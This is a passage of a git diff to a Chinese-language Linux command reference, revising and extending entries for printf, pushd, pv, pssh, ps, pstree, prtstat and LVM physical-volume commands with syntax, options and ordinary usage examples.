+-W<页面宽度>:设置页面宽度为固定值,默认为72;
+-J(--join-lines):合并整行,忽略 -W 如果设置;
+-num_cols:num_cols是一个整数,为一页有n行的文件打印指定num_cols列;
+-m(--merge):打印所有文件,每列一个文件。
+-f(-F)(--form-feed):用换页符替代换行符;
+-r(--no-file-warnings):无法打开输入文件时静默;
+-t:限制页眉,页脚与页尾的填充;
+-T(--omit-pagination):类似于-t,但也限制换页;
+-v(--show-non-printing):将不可打印的字符转换为八进制反斜杠格式;
+-d:双倍行距;
+-a(--across):交错打印,即水平打印,而非纵向打印;
+-c(--show-control-chars):将控制字符转换为帽子符号(例如 ^C),将其他不可打印的字符转换为八进制反斜杠格式;
+--help:打印帮助信息并退出;
+--version:打印版本信息并退出.
+
+
```
-### 参数
+### 参数
文件:需要转换格式的文件。
-
\ No newline at end of file
diff --git a/command/printf.md b/command/printf.md
index be1a34b4766..29660b426be 100644
--- a/command/printf.md
+++ b/command/printf.md
@@ -1,73 +1,189 @@
printf
===
-
-格式化并输出结果
-## 补充说明
+格式化并输出结果。
-**printf命令** 格式化并输出结果到标准输出。
+## 目录
-### 语法
+- [bash内建命令](#内建命令)
+- [GNU coreutils中的命令](#外部命令)
-```
-printf(选项)(参数)
---help:在线帮助;
---version:显示版本信息。
-```
+## 内建命令
-### 参数
-
-* 输出格式:指定数据输出时的格式;
-* 输出字符串:指定要输出的数据。
-
- **格式替代符**
-
-* %b 相对应的参数被视为含有要被处理的转义序列之字符串。
-* %c ASCII字符。显示相对应参数的第一个字符
-* %d, %i 十进制整数
-* %e, %E, %f 浮点格式
-* %g %e或%f转换,看哪一个较短,则删除结尾的零
-* %G %E或%f转换,看哪一个较短,则删除结尾的零
-* %o 不带正负号的八进制值
-* %s 字符串
-* %u 不带正负号的十进制值
-* %x 不带正负号的十六进制值,使用a至f表示10至15
-* %X 不带正负号的十六进制值,使用A至F表示10至15
-* %% 字面意义的%
-
- **转义序列**
-
-* \a 警告字符,通常为ASCII的BEL字符
-* \b 后退
-* \c 抑制(不显示)输出结果中任何结尾的换行字符(只在%b格式指示符控制下的参数字符串中有效),而且,任何留在参数里的字符、任何接下来的参数以及任何留在格式字符串中的字符,都被忽略
-* \f 换页(formfeed)
-* \n 换行
-* \r 回车(Carriage return)
-* \t 水平制表符
-* \v 垂直制表符
-* \\ 一个字面上的反斜杠字符
-* \ddd 表示1到3位数八进制值的字符,仅在格式字符串中有效
-* \0ddd 表示1到3位的八进制值字符
-
-### 实例
+#### 概要
+```shell
+printf [-v var] format [arguments]
```
-printf "hello world"
+#### 主要用途
+
+- 格式化参数并输出。
+
+#### 选项
+
+```shell
+-v var:将结果输出到变量var中而不是输出到标准输出。
```
+#### 参数
+
+format:输出格式。
+
+arguments:一到多个参数。
+
+```shell
+转义序列:除了支持printf(1)和printf(3)的转义序列,内建printf还支持以下转义序列:
+
+%b 展开参数中的反斜杠转义字符。
+%q 将参数扩起以用作shell输入。
+%(fmt)T 根据strftime(3)中的转义字符来输出日期时间字符串。
```
-#!/bin/bash
+
+#### 返回值
+
+返回状态为成功除非给出了非法选项、写错误、赋值错误。
+
+#### 例子
+
+```shell
+# %-5s 格式为左对齐且宽度为5的字符串代替('-'表示左对齐),不使用则默认右对齐。
+# %-4.2f 格式为左对齐宽度为4,保留两位小数。
printf "%-5s %-10s %-4s\n" NO Name Mark
printf "%-5s %-10s %-4.2f\n" 01 Tom 90.3456
printf "%-5s %-10s %-4.2f\n" 02 Jack 89.2345
printf "%-5s %-10s %-4.2f\n" 03 Jeff 98.4323
+# 输出
+NO Name Mark
+01 Tom 90.35
+02 Jack 89.23
+03 Jeff 98.43
+
+
+# %b %q %(fmt)T 的例子。
+# see it again with a newline.
+printf "%s\n" 'hello world'
+# 展开换行符,和上面的结果一样。
+printf "%b" 'hello world\n'
+
+printf '%q\n' 'a b c'
+# 输出
+a\ b\ c
+
+# %z为时区,%n为换行符。
+printf "%(%F %T %z%n)T"
+# 输出
+2019-09-10 01:48:07 +0000
```
-* %-5s 格式为左对齐且宽度为5的字符串代替(-表示左对齐),不使用则是又对齐。
-* %-4.2f 格式为左对齐宽度为4,保留两位小数。
+#### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+
+## 外部命令
+
+#### 概要
+
+```shell
+printf FORMAT [ARGUMENT]...
+printf OPTION
+```
+
+#### 主要用途
+
+- 格式化参数并输出。
+
+
+#### 选项
+
+```shell
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
+```
+
+#### 参数
+
+format:输出格式。
+
+arguments:一到多个参数。
+
+```shell
+在这里忽略了(%b %q),如果你安装的coreutils版本支持它们,那么请参考上面的例子。
+支持的转义序列:
+
+\" 双引号
+\\ 反斜杠
+\a 响铃
+\b 退格
+\c 截断输出
+\e 退出
+\f 翻页
+\n 换行
+\r 回车
+\t 水平制表符
+\v 竖直制表符
+\NNN 八进制数 (1到3位数字)
+\xHH 十六进制数 (1到2位数字)
+\uHHHH Unicode字符附加4位十六进制数字
+\UHHHHHHHH Unicode字符附加8位十六进制数字
+%% 百分号
+
+以及'diouxXfeEgGcs'中的一个结尾的C格式规范,将被转换为正确的类型并处理可变宽度。
+```
+
+#### 例子
+
+```shell
+# 使用 /usr/bin/printf 确保调用的不是内建命令。
+# 当然,在你关闭内建printf以及确认当前环境没有printf函数的情况下,可直接使用printf,详见末尾"注意"的链接。
+
+# 按行打印数组和关联数组的下标及值。
+
+# 声明数组可以不加'declare -a'或'local -a'(在函数内声明的局部变量)。
+arr=('line1' 'line2')
+/usr/bin/printf "%s\n" ${!arr[@]}
+# 输出下标
+0
+1
+/usr/bin/printf "%s\n" ${arr[@]}
+# 输出值
+line1
+line2
+
+#声明关联数组(也就是字典)必须加'declare -A'或'local -A'(在函数内声明的局部变量)。
+declare -A assoc_arr=(['key1']='value1' ['key2']='value2')
+/usr/bin/printf "%s\n" ${!assoc_arr[@]}
+# 输出键。
+key2
+key1
+/usr/bin/printf "%s\n" ${assoc_arr[@]}
+# 输出值。
+value2
+value1
+```
+
+#### 返回值
+
+返回状态为成功除非给出了非法选项等。
+
+#### 注意
+
+1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 printf`或`info coreutils 'pwd invocation'`。
+
+2. 启动或关闭内建命令请查看`enable`命令,关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。
+
+3. 我通过和`bug-bash@gnu.org`的交流,得到了关于这几个格式说明符`%b %q %(fmt)T`的解释:
+ > printf(1)中的%b格式说明符是printf(3)支持的格式之外增加的一个POSIX特性。
+ >
+ > %q和%T说明符是非标准的,并且不受所有独立实现的printf的支持。
+
+ 更多细节请参考链接:
+ - [POSIX printf](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/printf.html)
+ `APPLICATION USAGE`段落的第五节。
+ - [POSIX printf格式说明符](https://pubs.opengroup.org/onlinepubs/9699919799/functions/printf.html)
+ 的`Description`段落。
-
\ No newline at end of file
diff --git a/command/protoize.md b/command/protoize.md
index 48c28afa4be..9365736874b 100644
--- a/command/protoize.md
+++ b/command/protoize.md
@@ -1,28 +1,27 @@
protoize
===
-
+
GNU-C代码转换为ANSI-C代码
## 补充说明
**protoize命令** 属于gcc套件,用于为C语言源代码文件添加函数原型,将GNU-C代码转换为ANSI-C代码。
-### 语法
+### 语法
-```
+```shell
protoize(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-d:设置需要转换代码的目录;
-x:转换代码时排除的文件。
```
-### 参数
+### 参数
文件:需要转换代码的C语言源文件。
-
\ No newline at end of file
diff --git a/command/prtstat.md b/command/prtstat.md
new file mode 100644
index 00000000000..daca42fc63b
--- /dev/null
+++ b/command/prtstat.md
@@ -0,0 +1,51 @@
+prtstat
+===
+
+显示进程信息
+
+## 补充说明
+
+**prtstat命令**打印指定进程的统计信息。这个信息来自/proc/PID/stat文件。
+
+## 语法
+
+```shell
+prtstat [-r|--raw] pid
+prtstat -V|--version
+```
+
+## 例子
+
+```shell
+[root@localhost command]# ps -ef|grep nginx
+root 4022 250867 0 16:39 pts/1 00:00:00 grep --color=auto nginx
+root 224312 1 0 4月26 ? 00:00:00 nginx: master process /var/openresty/nginx/sbin/nginx
+nobody 224313 224312 0 4月26 ? 00:00:00 nginx: worker process
+[root@localhost command]# prtstat -r 224312
+ pid: 224312 comm: nginx
+ state: S ppid: 1
+ pgrp: 224312 session: 224312
+ tty_nr: 0 tpgid: -1
+ flags: 402040 minflt: 110
+ cminflt: 0 majflt: 0
+ cmajflt: 0 utime: 0
+ stime: 0 cutime: 0
+ cstime: 0 priority: 20
+ nice: 0 num_threads: 1
+ itrealvalue: 0 starttime: 6271470
+ vsize: 56369152 rss: 413
+ rsslim: 18446744073709551615 startcode: 4194304
+ endcode: 5772276 startstack: 140722783765648
+ kstkesp: 7FFC9389BFB8 kstkeip: 7F25CD42F6C6
+ wchan: 18446744071885754297 nswap: 0
+ cnswap: 18446744071885754297 exit_signal: 17
+ processor: 2 rt_priority: 0
+ policy: 0 delayaccr_blkio_ticks: 0
+ guest_time: 0 cguest_time: 0
+```
+
+### 注意
+
+1. `prtstat`命令来自于psmisc包。此包来自于base源仓库。
+2. psmisc.x86_64 : 用于管理系统上进程的实用程序
+
diff --git a/command/ps.md b/command/ps.md
index e7b5d6306d5..2cb8c1d9cdd 100644
--- a/command/ps.md
+++ b/command/ps.md
@@ -9,13 +9,13 @@ ps
### 语法
-```
+```shell
ps(选项)
```
### 选项
-```
+```shell
-a:显示所有终端机下执行的程序,除了阶段作业领导者之外。
a:显示现行终端机下的所有程序,包括其他用户的程序。
-A:显示所有程序。
@@ -84,7 +84,7 @@ X:采用旧式的Linux i386登陆格式显示程序状况。
### 实例
-```bash
+```shell
ps axo pid,comm,pcpu # 查看进程的PID、名称以及CPU 占用率
ps aux | sort -rnk 4 # 按内存资源的使用量对进程进行排序
ps aux | sort -nk 3 # 按 CPU 资源的使用量对进程进行排序
@@ -106,7 +106,7 @@ ps -o command -p 91730 | sed -n 2p # 通过进程id获取服务名称
将目前属于您自己这次登入的 PID 与相关信息列示出来
-```bash
+```shell
ps -l
# UID PID PPID F CPU PRI NI SZ RSS WCHAN S ADDR TTY TIME CMD
# 501 566 559 4006 0 31 0 4317620 228 - Ss 0 ttys001 0:00.05 /App...cOS/iTerm2 --server /usr/bin/login -fpl kenny /Ap...s/MacOS/iTerm2 --launch_shel
@@ -132,7 +132,7 @@ ps -l
列出目前所有的正在内存当中的程序
-```bash
+```shell
ps aux
# USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
@@ -161,7 +161,7 @@ ps aux
列出类似程序树的程序显示
-```
+```shell
ps -axjf
# USER PID PPID PGID SESS JOBC STAT TT TIME COMMAND UID C STIME TTY
@@ -172,7 +172,7 @@ ps -axjf
找出与 cron 与 syslog 这两个服务有关的 PID 号码
-```
+```shell
ps aux | egrep '(cron|syslog)'
# root 50 0.0 0.0 4305532 1284 ?? Ss 二03下午 0:10.08 /usr/sbin/syslogd
@@ -181,10 +181,10 @@ ps aux | egrep '(cron|syslog)'
把所有进程显示出来,并输出到ps001.txt文件
-```
+```shell
ps -aux > ps001.txt
```
输出指定的字段
-
+
diff --git a/command/pssh.md b/command/pssh.md
index fe15908f7a9..4a7ef643242 100644
--- a/command/pssh.md
+++ b/command/pssh.md
@@ -1,34 +1,34 @@
pssh
===
-
+
批量管理执行
## 补充说明
**pssh命令** 是一个python编写可以在多台服务器上执行命令的工具,同时支持拷贝文件,是同类工具中很出色的,类似pdsh,个人认为相对pdsh更为简便,使用必须在各个服务器上配置好密钥认证访问。
-### 安装pssh
+### 安装pssh
在CentOS系统环境下,介绍yum的安装和源码安装的方式:
**yum方法**
-```
+```shell
yum install pssh
```
**编译安装**
-```
+```shell
wget http://parallel-ssh.googlecode.com/files/pssh-2.3.1.tar.gz
tar xf pssh-2.3.1.tar.gz
cd pssh-2.3.1/
python setup.py install
```
-### 选项
+### 选项
-```
+```shell
--version:查看版本
--help:查看帮助,即此信息
-h:主机文件列表,内容格式”[user@]host[:port]”
@@ -47,11 +47,11 @@ python setup.py install
-P:打印出服务器返回信息
```
-### 实例
+### 实例
获取每台服务器的uptime:
-```
+```shell
# pssh -h ip.txt -i uptime
[1] 11:15:03 [SUCCESS] Mar.mars.he
11:15:11 up 4 days, 16:25, 1 user, load average: 0.00, 0.00, 0.00
@@ -63,7 +63,7 @@ python setup.py install
查看每台服务器上mysql复制IO/SQL线程运行状态信息:
-```
+```shell
# pssh -h IP.txt -i "/usr/local/mysql/bin/mysql -e 'show slave status \G'"|grep Running:
Slave_IO_Running: yes
Slave_SQL_Running: Yes
@@ -75,7 +75,7 @@ python setup.py install
保存每台服务器运行的结果:
-```
+```shell
# pssh -h IP.txt -i -o /tmp/pssh/ uptime
[1] 11:19:47 [SUCCESS] Feb.mars.he
11:19:55 up 4 days, 16:31, 2 users, load average: 0.02, 0.03, 0.00
@@ -87,7 +87,7 @@ python setup.py install
我们来看一下/tmp/pssh/下的文件及其内容
-```
+```shell
# ll /tmp/pssh/
总用量 12
-rw-r--r--. 1 root root 70 12月 1 11:19 Feb.mars.he
@@ -103,4 +103,3 @@ python setup.py install
上面介绍的是pssh命令很少的一部分,大家可以将其用到适合自己的场景,发挥它的最大功效。
-
\ No newline at end of file
diff --git a/command/pstack.md b/command/pstack.md
index e2ea0f2a0c6..0d002c07788 100644
--- a/command/pstack.md
+++ b/command/pstack.md
@@ -1,6 +1,6 @@
pstack
===
-
+
显示每个进程的栈跟踪
## 补充说明
@@ -9,11 +9,11 @@ pstack
命令软件包下载地址:https://packages.debian.org/sid/pstack
-### 实例
+### 实例
pstree以树结构显示进程
-```
+```shell
pstree -p work | grep ad
sshd(22669)---bash(22670)---ad_preprocess(4551)-+-{ad_preprocess}(4552)
|-{ad_preprocess}(4553)
@@ -25,7 +25,7 @@ sshd(22669)---bash(22670)---ad_preprocess(4551)-+-{ad_preprocess}(4552)
work为工作用户,-p为显示进程识别码,ad_preprocess共启动了6个子线程,加上主线程共7个线程。
-```
+```shell
ps -Lf 4551
UID PID PPID LWP C NLWP STIME TTY stat time CMD
work 4551 22670 4551 2 7 16:30 pts/2 Sl+ 0:02 ./ad_preprocess
@@ -41,7 +41,7 @@ work 4551 22670 4557 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess
pstack显示每个进程的栈跟踪:
-```
+```shell
pstack 4551
Thread 7 (Thread 1084229984 (LWP 4552)):
#0 0x000000302afc63dc in epoll_wait () from /lib64/tls/libc.so.6
@@ -98,4 +98,3 @@ Thread 1 (Thread 182894129792 (LWP 4551)):
```
-
\ No newline at end of file
diff --git a/command/pstree.md b/command/pstree.md
index b55087135a8..b6970dd406b 100644
--- a/command/pstree.md
+++ b/command/pstree.md
@@ -7,15 +7,15 @@ pstree
**pstree命令** 以树状图的方式展现进程之间的派生关系,显示效果比较直观。
-### 语法
+### 语法
-```
+```shell
pstree(选项)
```
-### 选项
+### 选项
-```
+```shell
-a:显示每个程序的完整指令,包含路径,参数或是常驻服务的标示;
-c:不使用精简标示法;
-G:使用VT100终端机的列绘图字符;
@@ -29,23 +29,23 @@ pstree(选项)
-V:显示版本信息。
```
-### 实例
+### 实例
显示当前所有进程的进程号和进程id
-```
+```shell
pstree -p
```
显示所有进程的所有详细信息,遇到相同的进程名可以压缩显示。
-```bash
+```shell
pstree -a
```
获取 SSH 会话的 PID
-```
+```shell
pstree -p | grep ssh
# |-sshd(1221)-+-sshd(2768)---bash(2770)-+-grep(2810)
@@ -55,4 +55,4 @@ pstree -p | grep ssh
从上方的输出中,你可以看到 sshd 进程与分支的树形图。sshd 的主进程是 sshd(1221),另两个分支分别为 sshd(2768) 和 sshd(2807)。
-
+
diff --git a/command/pushd.md b/command/pushd.md
index 43fc03f6dfb..5811a361a31 100644
--- a/command/pushd.md
+++ b/command/pushd.md
@@ -1,44 +1,77 @@
pushd
===
-
-将目录加入命令堆叠中
-## 补充说明
+将目录添加到目录堆栈顶部。
-**pushd命令** 是将目录加入命令堆叠中。如果指令没有指定目录名称,则会将当前的工作目录置入目录堆叠的最顶端。置入目录如果没有指定堆叠的位置,也会置入目录堆叠的最顶端,同时工作目录会自动切换到目录堆叠最顶端的目录去。
+## 概要
-### 语法
-
-```
-pushd(选项)(参数)
+```shell
+pushd [-n] [+N | -N | dir]
```
-### 选项
+## 主要用途
-```
--n:只加入目录到堆叠中,不进行cd操作;
-+n:删除从左到右的第n个目录,数字从0开始;
--n:删除从右到左的第n个目录,数字从0开始;
+- 将目录添加到目录堆栈顶部,切换当前工作目录到该目录。
+
+- 旋转目录堆栈,使堆栈的新顶部成为当前工作目录。
+
+- 没有参数时,交换目录堆栈的前两个目录。
+
+## 选项
+
+```shell
+-n 抑制添加目录引起的当前工作目录变化。
```
-### 参数
+## 参数
-目录:需要压入堆栈的目录。
++N(可选):不带参数执行`dirs`命令显示的列表中,左起的第N个目录将作为堆栈顶部,在它前面的会移动到底部。(从0开始计数)
-### 实例
+-N(可选):不带参数执行`dirs`命令显示的列表中,右起的第N个目录将作为堆栈顶部,在它前面的会移动到底部。(从0开始计数)
+dir(可选):要推送的目录。
+
+## 返回值
+
+返回成功除非提供了非法选项或执行出现错误。
+
+## 例子
+
+```shell
+# 添加目录到堆栈,改变了当前工作目录。
+[user2@pc ~]$ dirs
+~
+[user2@pc ~]$ pushd ~/Desktop
+~/Desktop ~
+[user2@pc Desktop]$
```
-root@Mylinux:/tmp/dir4# pushd /tmp/dir3
-/tmp/dir3 /tmp/dir4 /tmp/dir1 ~
-root@Mylinux:/tmp/dir3# pushd /tmp/dir2
-/tmp/dir2 /tmp/dir3 /tmp/dir4 /tmp/dir1 ~
+```shell
+# 添加目录到堆栈,当前工作目录不变。
+[user2@pc ~]$ dirs
+~
+[user2@pc ~]$ pushd -n ~/Desktop
+~ ~/Desktop
+[user2@pc ~]$ pushd -n ~/Pictures
+~ ~/Pictures ~/Desktop
-root@Mylinux:/tmp/dir2# pushd -1
-/tmp/dir1 ~ /tmp/dir2 /tmp/dir3 /tmp/dir4
+# 调整顺序。
+[user2@pc ~]$ pushd +1
+~/Pictures ~/Desktop ~
+[user2@pc ~]$ pushd -1
+~/Desktop ~ ~/Pictures
+[user2@pc ~]$ pushd
+~ ~/Desktop ~/Pictures
```
-注意:最左边表示栈顶,最右边表示栈底。
+### 注意
+
+1. `bash`的目录堆栈命令包括`dirs popd pushd`。
+2. 当前目录始终是目录堆栈的顶部。
+3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+### 参考链接
+
+- [popd、pushd命令'-n'选项的行为](https://superuser.com/questions/784450/popd-and-pushd-behavior-with-n-option)
-
\ No newline at end of file
diff --git a/command/pv.md b/command/pv.md
index fab7f5b11a5..99e1ea29f08 100644
--- a/command/pv.md
+++ b/command/pv.md
@@ -1,7 +1,7 @@
pv
===
-显示当前在命令行执行的命令的进度信息,管道查看器。
+显示当前在命令行执行的命令的进度信息,管道查看器
## 补充说明
@@ -9,7 +9,7 @@ pv
## 下载安装
-```bash
+```shell
# Debian 系的操作系统,如 Ubuntu
sudo apt-get install pv
@@ -17,63 +17,63 @@ sudo apt-get install pv
yum install pv
```
-### 语法
+### 语法
-```bash
+```shell
pv(选项)(参数)
pv [OPTION] [FILE]...
```
-### 选项
-
-```
--p, --progress show progress bar
--t, --timer show elapsed time
--e, --eta show estimated time of arrival (completion)
--I, --fineta show absolute estimated time of arrival
- (completion)
--r, --rate show data transfer rate counter
--a, --average-rate show data transfer average rate counter
--b, --bytes show number of bytes transferred
--T, --buffer-percent show percentage of transfer buffer in use
--A, --last-written NUM show NUM bytes last written
--F, --format FORMAT set output format to FORMAT
+### 选项
+
+```shell
+-p, --progress 显示进度条
+-t, --timer 显示已用时间
+-e, --eta 显示预计到达时间 (完成)
+-I, --fineta 显示绝对估计到达时间
+ (完成)
+-r, --rate 显示数据传输速率计数器
+-a, --average-rate 显示数据传输平均速率计数器
+-b, --bytes 显示传输的字节数
+-T, --buffer-percent 显示正在使用的传输缓冲区百分比
+-A, --last-written NUM 显示上次写入的字节数
+-F, --format FORMAT 将输出格式设置为FORMAT
-n, --numeric 输出百分比
--q, --quiet do not output any transfer information at all
-
--W, --wait display nothing until first byte transferred
--D, --delay-start SEC display nothing until SEC seconds have passed
--s, --size SIZE set estimated data size to SIZE bytes
--l, --line-mode count lines instead of bytes
--0, --null lines are null-terminated
--i, --interval SEC update every SEC seconds
--w, --width WIDTH assume terminal is WIDTH characters wide
--H, --height HEIGHT assume terminal is HEIGHT rows high
--N, --name NAME prefix visual information with NAME
--f, --force output even if standard error is not a terminal
--c, --cursor use cursor positioning escape sequences
-
--L, --rate-limit RATE limit transfer to RATE bytes per second
--B, --buffer-size BYTES use a buffer size of BYTES
--C, --no-splice never use splice(), always use read/write
--E, --skip-errors skip read errors in input
--S, --stop-at-size stop after --size bytes have been transferred
--R, --remote PID update settings of process PID
-
--P, --pidfile FILE save process ID in FILE
-
--d, --watchfd PID[:FD] watch file FD opened by process PID
+-q, --quiet 不输出任何信息
+
+-W, --wait 在传输第一个字节之前不显示任何内容
+-D, --delay-start SEC 在SEC秒过去之前不显示任何内容
+-s, --size SIZE 将估算的数据大小设置为SIZE字节
+-l, --line-mode 计算行数而不是字节数
+-0, --null 行以零结尾
+-i, --interval SEC 每SEC秒更新一次
+-w, --width WIDTH 假设终端的宽度为WIDTH个字符
+-H, --height HEIGHT 假设终端高度为HEIGHT行
+-N, --name NAME 在可视信息前面加上名称
+-f, --force 将标准错误输出到终端
+-c, --cursor 使用光标定位转义序列
+
+-L, --rate-limit RATE 将传输限制为每秒RATE字节
+-B, --buffer-size BYTES 使用BYTES的缓冲区大小
+-C, --no-splice 从不使用splice(),始终使用读/写
+-E, --skip-errors 跳过输入中的读取错误
+-S, --stop-at-size 传输--size字节后停止
+-R, --remote PID 更新过程PID的设置
+
+-P, --pidfile FILE 将进程ID保存在FILE中
+
+-d, --watchfd PID[:FD] 监视进程PID,打开的文件FD
-h, --help 显示帮助
-V, --version 显示版本信息
```
-### 实例
+### 实例
我们(在 linux 上使用命令行的用户)的大多数使用场景都会用到的命令是从一个 USB 驱动器拷贝电影文件到你的电脑。如果你使用 cp 来完成上面的任务,你会什么情况都不清楚,直到整个复制过程结束或者出错。
-```bash
+```shell
# 复制文件会有进度
linux [master●] % pv ~/Downloads/CentOS-7-x86_64-Minimal-1511.iso > ~/Desktop/CentOS-7-x86_64-Minimal-1511.iso
# 下面输入信息
@@ -84,19 +84,59 @@ linux [master●] % pv ~/Downloads/CentOS-7-x86_64-Minimal-1511.iso > ~/Desktop/
pv -L 2m /media/himanshu/1AC2-A8E3/fNf.mkv > ./Desktop/fnf.mkv
```
+复制文件时显示进度条(如果没有指定选项,默认使用 -p, -t, -e, -r 和 -b 选项)
+
+```bash
+$ pv getiot.db > getiot.db.bak
+```
+将 `/var/log/syslog` 文件打包成 zip 压缩包,并显示进度
+
+```bash
+$ pv /var/log/syslog | zip > syslog.zip
+```
+
+使用 tar 命令解压缩时显示进度条
+
+```bash
+$ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/
+12.3MiB 0:00:02 [6.15MiB/s] [=========> ] 21% ETA 0:00:07
+````
+
+解压完成
```bash
-# 字符一个个匀速在命令行中显示出来
+$ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/
+57.8MiB 0:00:10 [5.53MiB/s] [==============================================>] 100%
+```
+
+字符一个个匀速在命令行中显示出来
+
+```shell
echo "Tecmint[dot]com is a community of Linux Nerds and Geeks" | pv -qL 10
+```
+
+压缩文件展示进度信息
-# 压缩文件展示进度信息
+```shell
pv /media/himanshu/1AC2-A8E3/fnf.mkv | gzip > ./Desktop/fnf.log.gz
+```
+用 dd 命令将 iso 写入磁盘,pv来实现进度条的显示
-# 用 dd 命令将 iso 写入磁盘,pv来实现进度条的显示
+```shell
sudo pv -cN source < /Users/kacperwang/Downloads/CentOS-7-x86_64-Everything-1511.iso | sudo dd of=/dev/disk2 bs=4m
## 显示下面进度
source: 5.2GiB 5:11:41 [ 503KiB/s] [=====================> ] 71% ETA 2:01:56
```
-
\ No newline at end of file
+在linux上, 如果执行的一些命令或者一些脚本需要花费很长时间, 但又不能拿出更多的精力反复盯着有没有执行结束, 这时候可以用pv监听PID, 任务完成后通过网络通知到微信或者钉钉, 这样就可以腾出来精力做其他的事, 是不是很棒
+
+```shell
+$ pv -d $(ps -ef | grep -v grep | grep "<脚本或命令的关键字>" | awk '{print $2}') && <这里执行发通知脚本或者命令,脚本或命令需要提前调试好>
+```
+
+### 注意
+
+1. 选项"-d, --watchfd PID[:FD]", 是在1.6.6版本中才有的参数,如果使用需要`pv`升级到大于等于1.6.6的版本
+2. CentOS7的Yum仓库里`pv`最新的是1.4.6版本,1.6.6版本是发布在CentOS8里面的,如果需要,可以将CentOS8里的pv下载到本地电脑上或者本地的Yum私服里, 这个是[下载地址](http://www.rpmfind.net/linux/rpm2html/search.php?query=pv&submit=Search+...&system=EPEL&arch=), 可以根据自己不同的架构下载, 1.6.6的安装: `rpm -ivh pv-1.6.6-7.el8.x86_64.rpm -U`
+
diff --git a/command/pvchange.md b/command/pvchange.md
index 6488842a3c9..028127f5534 100644
--- a/command/pvchange.md
+++ b/command/pvchange.md
@@ -1,43 +1,42 @@
pvchange
===
-
+
修改物理卷属性
## 补充说明
**pvchange命令** 允许管理员改变物理卷的分配许可。如果物理卷出现故障,可以使用pvchange命令禁止分配物理卷上的PE。
-### 语法
+### 语法
-```
+```shell
pvchange(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-u:生成新的UUID;
-x:是否允许分配PE。
```
-### 参数
+### 参数
物理卷:指定要修改属性的物理卷所对应的设备文件。
-### 实例
+### 实例
使用pvchange命令禁止分配指定物理卷上的PE。在命令行中输入下面的命令:
-```
+```shell
pvchange -x n /dev/sdb1 #禁止分配"/dev/sdb1"上的PE
```
输出信息如下:
-```
+```shell
Physical volume "/dev/sdb1" changed
1 physical volume changed / 0 physical volumes not changed
```
-
\ No newline at end of file
diff --git a/command/pvck.md b/command/pvck.md
index e8220447119..586078bc86f 100644
--- a/command/pvck.md
+++ b/command/pvck.md
@@ -1,35 +1,35 @@
pvck
===
-
+
检测物理卷的LVM元数据的一致性
## 补充说明
**pvck命令** 用来检测物理卷的LVM元数据的一致性。默认情况下,物理卷中的前4个扇区保存着LVM卷标,可以使用`--labelsector`选项指定其他的位置(例如:数据恢复时)。
-### 语法
+### 语法
-```
+```shell
pvck(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-d:调试模式;
-v:详细信息模式;
--labelsector:指定LVE卷标所在扇区。
```
-### 参数
+### 参数
物理卷:指定要检查的物理卷对应的设备文件。
-### 实例
+### 实例
使用pvck命令检查物理卷`/dev/sdb1`。在命令行中输入下面的命令:
-```
+```shell
pvck -v /dev/sdb1 #检查物理卷元数据
Scanning /dev/sdb1
Found label on /dev/sdb1, sector 1, type=LVM2 001
@@ -39,4 +39,3 @@ size=70656, offset2=0 size2=0
```
-
\ No newline at end of file
diff --git a/command/pvcreate.md b/command/pvcreate.md
index 5389813d790..7867179dd08 100644
--- a/command/pvcreate.md
+++ b/command/pvcreate.md
@@ -1,36 +1,36 @@
pvcreate
===
-
+
将物理硬盘分区初始化为物理卷
## 补充说明
**pvcreate命令** 用于将物理硬盘分区初始化为物理卷,以便LVM使用。
-### 语法
+### 语法
-```
+```shell
pvcreate(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-f:强制创建物理卷,不需要用户确认;
-u:指定设备的UUID;
-y:所有的问题都回答“yes”;
-Z:是否利用前4个扇区。
```
-### 参数
+### 参数
物理卷:指定要创建的物理卷对应的设备文件名。
-### 实例
+### 实例
查看磁盘信息:
-```
+```shell
[root@localhost ~]# fdisk -l
Disk /dev/hda: 41.1 GB, 41174138880 bytes
255 heads, 63 sectors/track, 5005 cylinders
@@ -46,19 +46,18 @@ Units = cylinders of 16065 * 512 = 8225280 bytes
/dev/hda7 2236 2418 1469916 8e Linux LVM
/dev/hda8 2419 2601 1469916 8e Linux LVM
/dev/hda9 2602 2784 1469916 8e Linux LVM
-
```
检查有无 PV 在系统上,然后将`/dev/hda6`到`/dev/hda9`建立成为PV格式
-```
+```shell
[root@localhost ~]# pvscan
No matching physical volumes found #找不到任何的 PV 存在!
```
将6-9分区转成pv,注意大括号的用途:
-```
+```shell
[root@localhost ~]# pvcreate /dev/hda{6,7,8,9}
Physical volume "/dev/hda6" successfully created
Physical volume "/dev/hda7" successfully created
@@ -68,7 +67,7 @@ No matching physical volumes found #找不到任何的 PV 存在!
这就分別表示每个 PV 的信息与系统所有 PV 的信息:
-```
+```shell
[root@localhost ~]# pvscan
PV /dev/hda6 lvm2 [1.40 GB]
PV /dev/hda7 lvm2 [1.40 GB]
@@ -79,7 +78,7 @@ No matching physical volumes found #找不到任何的 PV 存在!
更详细的列示出系统上面每个 PV 信息:
-```
+```shell
[root@localhost ~]# pvdisplay
"/dev/hda6" is a new physical volume of "1.40 GB"
--- NEW Physical volume ---
@@ -97,19 +96,17 @@ No matching physical volumes found #找不到任何的 PV 存在!
删除物理卷:
-```
+```shell
[root@localhost ~]# pvremove /dev/sdb2
Labels on physical volume "/dev/sdb2" successfully wiped
-
```
修改物理卷属性:
-```
+```shell
[root@localhost ~]# pvchange -x n /dev/sdb1 #禁止分配指定物理卷上的PE
Physical volume "/dev/sdb1" changed
1 physical volume changed / 0 physical volumes not changed
```
-
\ No newline at end of file
diff --git a/command/pvdisplay.md b/command/pvdisplay.md
index 93a39616a32..4461bc88104 100644
--- a/command/pvdisplay.md
+++ b/command/pvdisplay.md
@@ -1,40 +1,40 @@
pvdisplay
===
-
+
